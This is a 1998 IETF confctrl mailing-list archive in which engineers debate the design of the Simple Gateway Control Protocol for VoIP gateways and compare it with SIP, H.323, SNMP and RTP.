Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Given the proliferation of mailing list from various sponsors of new
>protocols, it is easier on us, and better for IETF conceptual coordination
>that we stick to the established list - within reason. Can we continue to
>discuss the SGCP on this list ?

I have no problem with SGCP being discussed here (on confctrl) - this
doesn't necessarily mean it's an MMUSIC work item.  If the volume of
mail gets excessive we can worry about it then.  However if Christian
prefers it be discussed on a separate list, then so be it.

Cheers,
	Mark

From confctrl-owner  Sun May 24 18:34:01 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA01228
	for confctrl-outgoing; Sun, 24 May 1998 18:34:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA01223
	for <confctrl@zephyr.isi.edu>; Sun, 24 May 1998 18:33:59 -0700 (PDT)
Received: from dogwood-fe0.cisco.com (dogwood-fe0.cisco.com [171.68.122.251])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA26160
	for <confctrl@isi.edu>; Sun, 24 May 1998 18:33:58 -0700 (PDT)
Received: from chsharp-pc (chsharp-isdn.cisco.com [171.68.116.221]) by dogwood-fe0.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id VAA08617; Sun, 24 May 1998 21:30:27 -0400 (EDT)
Message-Id: <3.0.3.32.19980524213019.00777964@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sun, 24 May 1998 21:30:19 -0400
To: Mark Handley <mjh@ISI.EDU>
From: Chip Sharp <chsharp@cisco.com>
Subject: Re: Simple Gateway Control Protocol -- short first comments 
Cc: Henry Sinnreich <henry.sinnreich@mci.com>, confctrl <confctrl@ISI.EDU>,
        Arango <Arango@bellcore.com>, sgcp <sgcp@bellcore.com>
In-Reply-To: <28040.896048140@north.lcs.mit.edu>
References: <Your message of "Sun, 24 May 1998 12:41:24 +0200."             <000801bd8700$7f9eb860$552429a6@sinnreich2.678.mciw>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Please keep in mind that SGCP can be applied to other things besides
VoIP (i.e., interface between SS7 Signaling Gateway and a Network
Access Server for Dial access to the Internet).  I'm considering an
applicability statement for this particular application.
Chip

At 06:15 PM 5/24/98 -0400, Mark Handley wrote:
>
>>Given the proliferation of mailing list from various sponsors of
new
>>protocols, it is easier on us, and better for IETF conceptual
coordination
>>that we stick to the established list - within reason. Can we
continue to
>>discuss the SGCP on this list ?
>
>I have no problem with SGCP being discussed here (on confctrl) -
this
>doesn't necessarily mean it's an MMUSIC work item.  If the volume of
>mail gets excessive we can worry about it then.  However if
Christian
>prefers it be discussed on a separate list, then so be it.
>
>Cheers,
>	Mark
>
>
--------------------------------------------------
Chip Sharp			voice: +1 (919) 851-2085 
Cisco Systems		Mgr - Telco Consulting  			
--------------------------------------------------

From confctrl-owner  Mon May 25 03:00:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA04098
	for confctrl-outgoing; Mon, 25 May 1998 03:00:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA04090
	for <confctrl@zephyr.isi.edu>; Mon, 25 May 1998 03:00:25 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA11053
	for <confctrl@isi.edu>; Mon, 25 May 1998 03:00:22 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id LAA18704; Mon, 25 May 1998 11:53:09 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 4225660F.003C7220 ; Mon, 25 May 1998 13:00:13 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU
cc: huitema@bellcore.com, arango@bellcore.com, schulzrinne@cs.columbia.edu
Message-ID: <4225660F.0028EFA5.00@il4.vocaltec.co.il>
Date: Mon, 25 May 1998 09:55:07 +0200
Subject: Re: Simple Gateway Control Protocol -- control signals should be
	 in RTP
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 05/25/98 09:55 AM

Two more problems, this time with "SignalRequests" and "RequestedSignals".
SGCP currently mentions the following signals:

These might be received by a Gateway and (maybe) reported to the CA:
?    fax tones,
?    modem tones,
?    continuity tone,
?    continuity detection (as a result of a continuity test),
?    on-hook transition,
?    off-hook transition,
?    flash hook,
?    DTMF digits (or pulse digits).

These might need to be sent to an endpoint from a Gateway, on the
instruction of a CA:
?    Ringing,
?    Distinctive ringing, which can occur in 8 variants numbered 0 to 7,
?    Ring back tone,
?    Dial tones,
?    Intercept tone,
?    Network Congestion tone,
?    Busy tone,
?    Confirm tone,
?    Answer tone,
?    Call waiting tone,
?    Off hook warning tone,
?    Preemption tone,
?    Continuity tones,

The problem concerns "control signals" which are often sent to/from an
endpoint terminal via the audio path. Note that the endpoint in question
could be either an IP endpoint or a PSTN endpoint. I have a problem that
many of these signals need to be co-ordinated with an actual media stream.
DTMF is a particularly obvious example, and we spent a lot of time in the
VoIP Forum explaining the need to have an RTP payload type for DTMF, which
is currently an internet draft. Sending these audio/control signals in RTP
has three main advantages: it allows the signals to be precisely
synchronized with any media stream, it allows one to use standard RTP
redundancy techniques to ensure the reliable delivery of these signals, and
it allows a single IP message to be used in every country and
administration (this is because the actual audio waveforms, durations, etc.
can be subject to local regulation)

I propose that all these "telephony audio control signals" be added to the
current DTMF draft.

Yesterday I said that SGCP == SNMP+SIP/H.323
I see now that that 'audio control signals' require RTP as well.



Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com



From confctrl-owner  Mon May 25 22:30:01 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA15159
	for confctrl-outgoing; Mon, 25 May 1998 22:30:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA15154
	for <confctrl@zephyr.isi.edu>; Mon, 25 May 1998 22:30:00 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA17089;
	Mon, 25 May 1998 22:29:56 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id HAA18605; Tue, 26 May 1998 07:20:42 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256610.00236685 ; Tue, 26 May 1998 08:26:40 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: chsharp@cisco.com
cc: mjh@ISI.EDU, henry.sinnreich@mci.com, confctrl@ISI.EDU,
        Arango@bellcore.com, sgcp@bellcore.com
Message-ID: <4225660F.00641A66.00@il4.vocaltec.co.il>
Date: Mon, 25 May 1998 21:31:34 +0200
Subject: Re: Simple Gateway Control Protocol -- between SS7 and Network
	 Access Server
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 05/25/98 09:31 PM

I have no doubt that SGCP can be applied to many many situations, including
large access devices. But this only underscores the comments I made
earlier:

My point is that SGCP looks to me like a particular combination of
SIP/H.323, SNMP, and RTP. I think that Christian and Maurice have a very
valid point that a certain set of features were missing from the suite of
protocols we had up to now, and for this reason we need to define standard
MIBs for various gateways, as well as add some more signals to the current
DTMF/FlashHook RTP payload format.  And I agree with Chris that SGCP "can
be applied to other things besides VoIP", exactly like SIP, H.323, SNMP,
and RTP can be used for other things besides VoIP.

But using the simple protocol tools SIP/H.323, SNMP, RTP, etc., just as
they were intended, I can build up exactly the system I need, and this
keeps me from having to do different overlapping protocols for dumb
gateways, for smart gateways, for big networks, for SIP PBXes, for MTAs,
for SIP phones, for access devices, etc.  If I have a dumb gateway then I
only need to support a very dumb subset of SIP/H.323, SNMP, RTP. All this
can be hardcoded very simply and cheaply with off the shelf code and will
fit right into to my current network and network management. And tomorrow,
when I "upgrade" from a simpler device to a smarter one, I won't need to
change the whole protocol on my network. This is really very important. An
example in the PSTN world is the way that some "intelligent" elements like
DTMF and dialing plan decisions are being lowered back into the switch by
many vendors, in order to improve performance. If DTMF is done via SGCP to
the Signalling gateway but by RTP to the switch, it is going to be a real
disaster for the customer when he wants to change.  Of course, no one wants
to lock in a customer to a particular vendor's product, do we ;-)....

 And this is without even mentioning things like pleasure and expense I'm
going to add to do SIP proxy support and SGCP proxy support. (One can hope
that SIP will fold into HTTP within a year or two and then proxy support
will be even cheaper).

Bottom line: the protocol support is already there, we just need to add
some profiles for things like gateway MIBs and signal payload formats in
RTP. This will give us a much more scaleable flexible extensible system
that fits much more easily into existing IP networks.


___A second more rational attempt at my comments of
SGCP________________________

1. Device Management and Configuration should be SNMP, not SGCP.

I agree that we need a way to download things like the "Dialing Map" to a
device, and in general to get and set the configuration of the device.  But
rather than use SGCP, I would much rather define some standard MIBs for the
various gateways, home MTAs, access devices, etc.  This would allow me to
use standard network management tools, would allow vendors to distinguish
themselves beyond the standard features, etc. etc. etc.

2.  SIP or H.323 should be used for CreateConnection, DeleteConnection, and
ModifyConnection.

INVITE (or SETUP in H.323) does CreateConnection and BYE (or
RELEASE_COMPLETE) does DeleteConnection.  ModifyConnection is done by
INVITE (and a payload using the same session ID) (or FACILITY) . A SIP call
is really the same as an SGCP connection, and a SIP session is the same as
an SGCP call. And Henry noticed that somehow the result codes are almost
the same. In SGCP it says explicitly that the naming conventions for
endpoints is beyond the scope of SGCP,  so I don't see why an INVITE with a
From: line of "X35V3+A4/13" and a To: line of "X55V1+B6"  and some SDP
attached is somehow more scaleable than a "CreateConnection" with the exact
same parameters. And with H.323 FastStart I could do exactly the same thing
by replacing "INVITE" with "SETUP" and  BYE with "RELEASE_COMPLETE".

If you want to complain about H.323 and TCP for setup, I'm afraid you only
have a few months to do so. In version 3 (which will almost certainly be
decided _before_  SIP becomes a standard BTW) not only will there be an
option to use UDP, but there will also be an option to use a single TCP
connection for multiple calls between a single gateway. This will give
simple reliability _without_ a new connection per call and with guaranteed
network friendliness in the face of congestion. (believe me, you don't want
to trust those Internet Telephony gateway people to do the right thing when
building a 30,000 port gateway over UDP in the face of congestion ;-)...

This is definitely not overloading the protocol in anyway. SIP is about
creating and maintaining _sessions_. And sessions are associations among
endpoints. That's all.

3. RTP should be used for the signals of RequestedEvents and SignalEvents.

On this one I was not strong enough before. I believe there is actually a
serious flaw in SGCP here. Since SGCP is sent over UDP "for reliability",
messages might arrive out of order. I would be sorry to think what happens
if DTMF tones arrive out of order, etc. Of course if the Dialing Map is
good enough I suppose that all the digits will be collected before they are
sent, but I needn't tell the good people of Bellcore how complicated
dialing plans might be, and if the goal is to get the intelligence out of
the gateway it may be that the CA will need or want to see all the digits
before it knows what to do. So I add to my previous remarks about using RTP
for 'signals' that the RTP sequence number can be used to guarantee message
order.


Scott







chsharp@cisco.com on 05/25/98 03:30:19 AM

To:   mjh@ISI.EDU
cc:   henry.sinnreich@mci.com, confctrl@ISI.EDU, Arango@bellcore.com,
      sgcp@bellcore.com (bcc: Scott Petrack)
Subject:  Re: Simple Gateway Control Protocol -- short first comments




Please keep in mind that SGCP can be applied to other things besides
VoIP (i.e., interface between SS7 Signaling Gateway and a Network
Access Server for Dial access to the Internet).  I'm considering an
applicability statement for this particular application.
Chip
At 06:15 PM 5/24/98 -0400, Mark Handley wrote:
>
>>Given the proliferation of mailing list from various sponsors of
new
>>protocols, it is easier on us, and better for IETF conceptual
coordination
>>that we stick to the established list - within reason. Can we
continue to
>>discuss the SGCP on this list ?
>
>I have no problem with SGCP being discussed here (on confctrl) -
this
>doesn't necessarily mean it's an MMUSIC work item.  If the volume of
>mail gets excessive we can worry about it then.  However if
Christian
>prefers it be discussed on a separate list, then so be it.
>
>Cheers,
>    Mark
>
>
--------------------------------------------------
Chip Sharp               voice: +1 (919) 851-2085
Cisco Systems       Mgr - Telco Consulting
--------------------------------------------------






From confctrl-owner  Tue May 26 07:25:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA19088
	for confctrl-outgoing; Tue, 26 May 1998 07:25:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA19083
	for <confctrl@zephyr.isi.edu>; Tue, 26 May 1998 07:25:16 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06407
	for <confctrl@isi.edu>; Tue, 26 May 1998 07:25:14 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id KAA03197;
	Tue, 26 May 1998 10:23:43 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id KAA26475;
	Tue, 26 May 1998 10:23:42 -0400 (EDT)
Date: Tue, 26 May 1998 10:23:42 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980526102342.ZM26473@seawind.bellcore.com>
In-Reply-To: "Scott Petrack"<Scott_Petrack@vocaltec.com>
        "Re: Simple Gateway Control Protocol -- between SS7 and Network Access Server" (May 25,  9:31pm)
References: <4225660F.00641A66.00@il4.vocaltec.co.il>
X-Mailer: Z-Mail (5.0.0 30July97)
To: "Scott Petrack"<Scott_Petrack@vocaltec.com>
Subject: Re: Simple Gateway Control Protocol -- between SS7 and Network Access Server
Cc: confctrl@ISI.EDU, sgcp@bellcore.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott,

My initial work on the "SGCP" concept started with an investigation of
large scale "trunking" gateways.  These gateways are typically distributed
systems, linking an Internet telephony network to a set of switches.  For
each switch, we have a group of "trunks" (DS0 circuits) controlled by out
of band signalling using ISUP over SS7.  The trunks terminate in a
"trunking gateway."  The out of band signalling is received at an SS7
gateway, which is not necessarily coresident with the trunking gateway --
SS7 interfaces can be quite expensive, so you tend to not have too many of
them.

In that configuration, you have two choices: either somehow relay the
SS7/ISUP messages to the trunking gateways, which can then operate as an
autonomous H.323 or SIP entity, or process the ISUP protocol in a "call
agent" that will then "remote control" the gateways.

Initially, we focused on a "trunking" solution, where VOIP is used as a
simple transport, a replacement for long distance phone transmission. In
this configuration, we found three problems with the "autonomous gateway"
approach:
* relaying SS7 back and forth to gateways can result in long call
  set-up delays,
* protocol translations such as "ISUP to H.323" typically result in
  protocol mismatch and loss of functionality (think for example of
  procedures such as continuity testing, or suspend/resume, which have
  no equivalent in H.323.)
* large trunking gateways (supporting thousands of trunks) are typically
  developed on real time multi-processor systems, which are not
necessarily
  the best platforms to implement complex switching software.
We decided thus to go towards a model where the "telephony switching"
software (SS7, ISUP, AIN, call models, etc) resides in a "call agent" that
will "remote control" the gateways.  When we started designing SGCP, we
did in fact start from SIP. The problem is that SIP is not really designed
to enable remote control.  The typical connection set up, in a remote
control environment, necessitates three exchanges:
1) From CA to Gateway-1: "please give me an RTP/IP address +
configuration,
   that can be used to send packets to circuit number X."
2) From CA to Gateway-2: "please start sending voice from circuit Y into
   packets to that RTP/IP address . Also, give me back the RTP/IP address
   that you will use to receive packets bound to circuit Y."
3) From CA to Gateway-1: "please sending voice from circuit X into
   packets to that RTP/IP address.
The "Invite" request of SIP maps very well to the second transaction.  But
it does not map so well to the first one.  Also, when implementing AIN
services, you quickly observe that you have to slice and dice the call in
more ways than one, and that you need something like a "modify" command to
convey orders such as "stop speaking" or "stop listening" -- actions that
are typical in a remote control environment, but don't make sense in a
protocol designed for autonomous objects such as H.323 or SIP.

So, this is how we started designing SGCP. We analyzed whether we could
use H.323 or SIP, and concluded that in both cases we would need to remove
some of the functions and add other.  Then, we asked software developers
how they would handle a "modified H.323" or a "modified SIP" and they told
us "as an entirely new stack" -- even if you were to reuse the formats,
the logic would have changed and this would be a new development.  Given
this reasoning, we went on to specify a protocol that would be finely
tuned to the "remote control" problem.

Is it perfect?  Hey, we called it version 1.0.  We know that there are
areas of improvement.  For example, your suggestion of aligning response
codes with SIP (and HTTP) looks like something we should follow on.



-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Tue May 26 07:27:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA19111
	for confctrl-outgoing; Tue, 26 May 1998 07:27:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA19106
	for <confctrl@zephyr.isi.edu>; Tue, 26 May 1998 07:27:24 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06465
	for <confctrl@isi.edu>; Tue, 26 May 1998 07:27:23 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id KAA03505;
	Tue, 26 May 1998 10:26:46 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id KAA26484;
	Tue, 26 May 1998 10:26:45 -0400 (EDT)
Date: Tue, 26 May 1998 10:26:45 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980526102645.ZM26482@seawind.bellcore.com>
In-Reply-To: Mark Handley <mjh@east.isi.edu>
        "Re: Simple Gateway Control Protocol -- short first comments" (May 24,  6:15pm)
References: <28040.896048140@north.lcs.mit.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Mark Handley <mjh@ISI.EDU>, Henry Sinnreich <henry.sinnreich@mci.com>
Subject: Re: Simple Gateway Control Protocol -- short first comments
Cc: confctrl <confctrl@ISI.EDU>, Arango <Arango@bellcore.com>,
        sgcp <sgcp@bellcore.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On May 24,  6:15pm, Mark Handley wrote:
> I have no problem with SGCP being discussed here (on confctrl) - this
> doesn't necessarily mean it's an MMUSIC work item.

Mark,

I set up another list because I did not want to hijack the MMUSIC list.
 The scope of SGCP is somewhat narrower than Conference Control -- and I
am certainly not suggesting to add a work item to the MMUSIC charter...



-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Tue May 26 09:08:52 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA21720
	for confctrl-outgoing; Tue, 26 May 1998 09:08:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21715
	for <confctrl@zephyr.isi.edu>; Tue, 26 May 1998 09:08:50 -0700 (PDT)
Received: from paleale.cisco.com (paleale.cisco.com [171.69.95.88])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA14261;
	Tue, 26 May 1998 09:07:26 -0700 (PDT)
Received: from OranLT ([171.69.210.8]) by paleale.cisco.com (8.8.4-Cisco.1/8.6.5) with SMTP id JAA03499; Tue, 26 May 1998 09:06:22 -0700 (PDT)
From: "David R. Oran" <oran@cisco.com>
To: "Scott Petrack" <Scott_Petrack@vocaltec.com>, <chsharp@cisco.com>
Cc: <mjh@ISI.EDU>, <henry.sinnreich@mci.com>, <confctrl@ISI.EDU>,
        <Arango@bellcore.com>, <sgcp@bellcore.com>
Subject: RE: Simple Gateway Control Protocol -- between SS7 and Network Access Server
Date: Tue, 26 May 1998 12:06:06 -0400
Message-ID: <001e01bd88c0$303dd960$08d245ab@OranLT.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <4225660F.00641A66.00@il4.vocaltec.co.il>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> My point is that SGCP looks to me like a particular combination of
> SIP/H.323, SNMP, and RTP. I think that Christian and Maurice have a very
> valid point that a certain set of features were missing from the suite of
> protocols we had up to now, and for this reason we need to define standard
> MIBs for various gateways, as well as add some more signals to the current
> DTMF/FlashHook RTP payload format.  And I agree with Chris that SGCP "can
> be applied to other things besides VoIP", exactly like SIP, H.323, SNMP,
> and RTP can be used for other things besides VoIP.
>
> But using the simple protocol tools SIP/H.323, SNMP, RTP, etc., just as
> they were intended, I can build up exactly the system I need, and this
> keeps me from having to do different overlapping protocols for dumb
> gateways, for smart gateways, for big networks, for SIP PBXes, for MTAs,
> for SIP phones, for access devices, etc.  If I have a dumb gateway then I
> only need to support a very dumb subset of SIP/H.323, SNMP, RTP. All this
> can be hardcoded very simply and cheaply with off the shelf code and will
> fit right into to my current network and network management.

This is an assertion I would like backed up with a proposal, especially one
that allows the full range of services to be delivered.

> And tomorrow,
> when I "upgrade" from a simpler device to a smarter one, I won't need to
> change the whole protocol on my network. This is really very important.

Yes, anyone wanting a smart-device-based call control protocol would clearly
not opt for SGCP. SGCP is clearly a "niche" protocol not meant to displace,
or even overlap with call control protocols.

> An
> example in the PSTN world is the way that some "intelligent" elements like
> DTMF and dialing plan decisions are being lowered back into the switch by
> many vendors, in order to improve performance. If DTMF is done via SGCP to
> the Signalling gateway but by RTP to the switch, it is going to be a real
> disaster for the customer when he wants to change.  Of course, no
> one wants
> to lock in a customer to a particular vendor's product, do we ;-)....
>
Detection of DTMF is one thing; interpretation of digits is another. You
want to move detection/generation out to the edge because that's where the
DSPs are. Then you need a protocol to tightly control when detection is
enabled so you can manage  the end-to-end vs. incoming edge interpretation
ambiguities. SGCP is in fact the first protocol I've seen stupid enough to
get this right.

>  And this is without even mentioning things like pleasure and expense I'm
> going to add to do SIP proxy support and SGCP proxy support. (One can hope
> that SIP will fold into HTTP within a year or two and then proxy support
> will be even cheaper).
>
I cannot for the life of me see why one would ever need an SGCP proxy - it's
a stupid master-slave control protocol.

> Bottom line: the protocol support is already there, we just need to add
> some profiles for things like gateway MIBs and signal payload formats in
> RTP. This will give us a much more scaleable flexible extensible system
> that fits much more easily into existing IP networks.
>
Well, we certainly need these things anyway - so have at it!

>
> ___A second more rational attempt at my comments of
> SGCP________________________
>
> 1. Device Management and Configuration should be SNMP, not SGCP.
>
> I agree that we need a way to download things like the "Dialing Map" to a
> device, and in general to get and set the configuration of the
> device.  But
> rather than use SGCP, I would much rather define some standard
> MIBs for the
> various gateways, home MTAs, access devices, etc.  This would allow me to
> use standard network management tools, would allow vendors to distinguish
> themselves beyond the standard features, etc. etc. etc.
>
Ah, you missed the one critical "gestalt" of what dialing maps and
event-action maps do in SGCP! They can be changed SYNCHRONOUSLY through the
operation of the  protocol. This allows nice tricks like context-sensitive
hook-flash behavior without adding to the feature-interaction problems
already present in existing voice services, and allowing incremental dialed
digit interpretation without having to send EVERY digit to the call control
server immediately. There are a bunch of other uses, which I'll leave your
fertile imagination.

> 2.  SIP or H.323 should be used for CreateConnection,
> DeleteConnection, and
> ModifyConnection.
>
I think you are misled by the SGCP terminaology. SGCP "connections" are
single-ended, not two ended. They only talk about how to bind an RTP stream
to an endpoint, not anything about synchronizing state with "the other end".

> INVITE (or SETUP in H.323) does CreateConnection and BYE (or
> RELEASE_COMPLETE) does DeleteConnection.  ModifyConnection is done by
> INVITE (and a payload using the same session ID) (or FACILITY) .
These are peer-to-peer, not master-slave.

> A SIP call
> is really the same as an SGCP connection, and a SIP session is the same as
> an SGCP call. And Henry noticed that somehow the result codes are almost
> the same. In SGCP it says explicitly that the naming conventions for
> endpoints is beyond the scope of SGCP,  so I don't see why an
> INVITE with a
> From: line of "X35V3+A4/13" and a To: line of "X55V1+B6"  and some SDP
> attached is somehow more scaleable than a "CreateConnection" with
> the exact
> same parameters. And with H.323 FastStart I could do exactly the
> same thing
> by replacing "INVITE" with "SETUP" and  BYE with "RELEASE_COMPLETE".
>
> If you want to complain about H.323 and TCP for setup, I'm afraid you only
> have a few months to do so. In version 3 (which will almost certainly be
> decided _before_  SIP becomes a standard BTW) not only will there be an
> option to use UDP, but there will also be an option to use a single TCP
> connection for multiple calls between a single gateway. This will give
> simple reliability _without_ a new connection per call and with guaranteed
> network friendliness in the face of congestion. (believe me, you
> don't want
> to trust those Internet Telephony gateway people to do the right
> thing when
> building a 30,000 port gateway over UDP in the face of congestion ;-)...
>
But it doesn't solve the problem of 30,000 single port gateways...
And, from this description the amount of implementation work is at least as
great as implementing SGCP; possibly more so because of the combinatorics. I
really see these as filling different roles.

> This is definitely not overloading the protocol in anyway. SIP is about
> creating and maintaining _sessions_. And sessions are associations among
> endpoints. That's all.
>
> 3. RTP should be used for the signals of RequestedEvents and SignalEvents.
>
> On this one I was not strong enough before. I believe there is actually a
> serious flaw in SGCP here. Since SGCP is sent over UDP "for reliability",
> messages might arrive out of order.
> I would be sorry to think what happens
> if DTMF tones arrive out of order, etc.
SGCP is stop-and-wait when reporting events. This can't happen.

> Of course if the Dialing Map is
> good enough I suppose that all the digits will be collected
> before they are
> sent, but I needn't tell the good people of Bellcore how complicated
> dialing plans might be, and if the goal is to get the intelligence out of
> the gateway it may be that the CA will need or want to see all the digits
> before it knows what to do. So I add to my previous remarks about
> using RTP
> for 'signals' that the RTP sequence number can be used to
> guarantee message
> order.
>
As I mentioned above, I think you've missed the purpose of SGCP's
event-action maps here. That's not to say I don't think a way of encoding
signals in RTP streams is a bad idea. As you know, I've been a strong
proponent of doing this to cover all the cases where edge-based
interpretation is undesirable.

>
> Scott
>
Dave.


From confctrl-owner  Wed May 27 07:30:20 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA15385
	for confctrl-outgoing; Wed, 27 May 1998 07:30:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15380
	for <confctrl@zephyr.isi.edu>; Wed, 27 May 1998 07:30:18 -0700 (PDT)
Received: from smtpott2 (smtpott2.nortel.ca [192.58.194.80])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06709
	for <confctrl@isi.edu>; Wed, 27 May 1998 07:30:17 -0700 (PDT)
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by smtpott2;
          Wed, 27 May 1998 10:29:56 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.0.1460.8) 
          id <L3KPTA4Z>; Wed, 27 May 1998 10:29:44 -0400
Message-ID: <1141744A9866D111B6C90000F8BCBC24FA3A28@bcarua63.ca.nortel.com>
From: "Tom-PT Taylor" <Tom-PT.Taylor.taylor@nt.com>
To: confctrl <confctrl@ISI.EDU>
Subject: RE: Simple Gateway Control Protocol -- short first comments
Date: Wed, 27 May 1998 10:29:07 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.0.1460.8)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'd very much like to see the discussion confined to one list, preferably
confctrl.  At the moment, somehow I'm getting four copies of every message.

> -----Original Message-----
> From:	Christian Huitema [SMTP:huitema@bellcore.com]
> Sent:	Tuesday, May 26, 1998 10:27 AM
> To:	Mark Handley; Henry Sinnreich
> Cc:	confctrl; Arango; sgcp
> Subject:	Re: Simple Gateway Control Protocol -- short first comments
> 
> On May 24,  6:15pm, Mark Handley wrote:
> > I have no problem with SGCP being discussed here (on confctrl) - this
> > doesn't necessarily mean it's an MMUSIC work item.
> 
> Mark,
> 
> I set up another list because I did not want to hijack the MMUSIC list.
>  The scope of SGCP is somewhat narrower than Conference Control -- and I
> am certainly not suggesting to add a work item to the MMUSIC charter...
> 
> 
> 
> -- 
> Christian Huitema
> ----------
> See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Thu Jun  4 07:07:21 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA28622
	for confctrl-outgoing; Thu, 4 Jun 1998 07:07:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28616
	for <confctrl@zephyr.isi.edu>; Thu, 4 Jun 1998 07:07:19 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
